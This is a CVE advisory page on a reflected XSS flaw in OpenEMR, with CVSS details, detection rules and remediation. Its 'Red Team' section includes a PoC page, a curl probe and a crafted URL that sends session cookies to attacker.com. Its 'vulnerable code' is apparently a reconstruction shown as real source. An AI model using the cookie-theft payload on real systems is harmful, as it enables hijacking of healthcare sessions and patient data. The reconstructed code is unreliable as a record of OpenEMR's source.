☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-30149

CVE-2025-30149 Cross-Site Scripting in Openemr
📅 PUBLISHED: 2025-03-31 16:07 UTC 🔄 UPDATED: 2026-09-23 20:27 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.32%
👁️
0.32% probability
8.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-30149 is a reflected Cross-Site Scripting (XSS) vulnerability in OpenEMR, a widely used open-source electronic health records (EHR) and medical practice management application. The flaw exists in the AJAX script interface/super/layout_listitems_ajax.php, where the target parameter is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL that, when clicked by an authenticated user, executes arbitrary JavaScript in the context of the victim's session. This can lead to session hijacking, data theft, or further compromise of the healthcare application. The vulnerability is fixed in version 7.0.3.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the OpenEMR PHP application. The risk is primarily to healthcare organizations using unpatched versions of OpenEMR.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector (AV): Network - The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low - No special conditions are required.
  • Privileges Required (PR): None - The attacker does not need to be authenticated.
  • User Interaction (UI): Required - The victim must click a crafted link.
  • Scope (S): Changed - The impact can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low - Limited data exposure possible.
  • Integrity (I): Low - Limited ability to modify data.
  • Availability (A): None - No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the context of a healthcare application elevates the risk due to the sensitivity of patient data.

Deep Dive & Mechanics

The vulnerability resides in the file interface/super/layout_listitems_ajax.php. This script is used for AJAX-based interactions in the OpenEMR administrative interface. The target parameter is taken from the HTTP request (likely via $_GET or $_POST) and is directly reflected in the response without proper encoding or sanitization.

Root Cause: The application fails to escape or validate the target parameter before outputting it. An attacker can inject arbitrary HTML and JavaScript by providing a payload such as <script>alert('XSS')</script> as the value of target.

Attack Flow:

  1. An attacker identifies a vulnerable OpenEMR instance.
  2. The attacker crafts a malicious URL: https://target-openemr-instance/interface/super/layout_listitems_ajax.php?target=<script>alert('XSS')</script>
  3. The attacker sends this link to an authenticated user (e.g., via phishing email).
  4. The victim clicks the link while logged into OpenEMR.
  5. The server reflects the injected script in the response, which the victim's browser executes.
  6. The script can steal session cookies, perform actions on behalf of the victim, or exfiltrate data.

Vulnerable vs. Patched Code

Vulnerable Code (version < 7.0.3):

// interface/super/layout_listitems_ajax.php
$target = $_GET['target'];
echo "Selected target: " . $target;

Patched Code (version 7.0.3):

// interface/super/layout_listitems_ajax.php
$target = $_GET['target'];
echo "Selected target: " . htmlspecialchars($target, ENT_QUOTES, 'UTF-8');

The fix uses htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Proof of Concept (PoC):

<!-- Save as poc.html and host on attacker server -->
<!DOCTYPE html>
<html>
<body>
<script>
var xssUrl = "https://target-openemr-instance/interface/super/layout_listitems_ajax.php?target=<script>alert('XSS')</script>";
window.open(xssUrl);
</script>
</body>
</html>

Manual Exploitation:

  1. Identify the target OpenEMR instance.
  2. Craft the malicious URL:
    https://target-openemr-instance/interface/super/layout_listitems_ajax.php?target=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  3. Send the link to an authenticated user.
  4. Set up a listener on the attacker server to capture cookies.

Automated Exploitation (using curl):

curl -v "https://target-openemr-instance/interface/super/layout_listitems_ajax.php?target=<script>alert(1)</script>"

Blue Team (Defensive)

Detection Steps:

  1. Monitor web server logs for requests to /interface/super/layout_listitems_ajax.php with suspicious target parameters.
  2. Look for patterns like <script, onerror, onload, or base64-encoded payloads in the target parameter.
  3. Deploy a Web Application Firewall (WAF) rule to block XSS payloads in the target parameter.

Hunting Query (Splunk):

index=web_logs uri="/interface/super/layout_listitems_ajax.php" target=*<script*
| table _time, src_ip, uri, target

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Requests to /interface/super/layout_listitems_ajax.php with target parameter containing <script> tags or JavaScript event handlers.
    • Outbound connections from the OpenEMR server to unknown IPs on common ports (80, 443, 8080) after exploitation.
  • File IOCs:

    • Modified or suspicious files in the OpenEMR installation directory, especially interface/super/layout_listitems_ajax.php.
  • Behavioral IOCs:

    • Unusual session activity, such as multiple logins from different IPs using the same session cookie.
    • Unexpected changes to patient records or system configuration.

Detection Engineering

YARA Rule

rule CVE_2025_30149_XSS_OpenEMR {
    meta:
        description = "Detects reflected XSS attempts against OpenEMR CVE-2025-30149"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-30149"
    strings:
        $xss_payload = /target=.*<script[^>]*>.*<\/script>/i
        $xss_event = /target=.*on\w+\s*=/i
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: Reflected XSS in OpenEMR layout_listitems_ajax.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against CVE-2025-30149
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/interface/super/layout_listitems_ajax.php'
        cs-uri-query|re: 'target=.*<script[^>]*>.*</script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in target parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30149 OpenEMR Reflected XSS Attempt"; flow:to_server,established; content:"/interface/super/layout_listitems_ajax.php"; http_uri; pcre:"/target=.*<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade OpenEMR to version 7.0.3 or later.
  2. If immediate upgrade is not possible, apply a virtual patch using a WAF to block XSS payloads in the target parameter.
  3. Restrict access to the /interface/super/ directory to trusted IPs only.

Long-Term Measures:

  1. Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  2. Conduct regular security audits and code reviews.
  3. Educate users about phishing attacks targeting OpenEMR.

Workaround (if patching is delayed):

  • Edit interface/super/layout_listitems_ajax.php and add htmlspecialchars() around the target variable output.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-30149/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.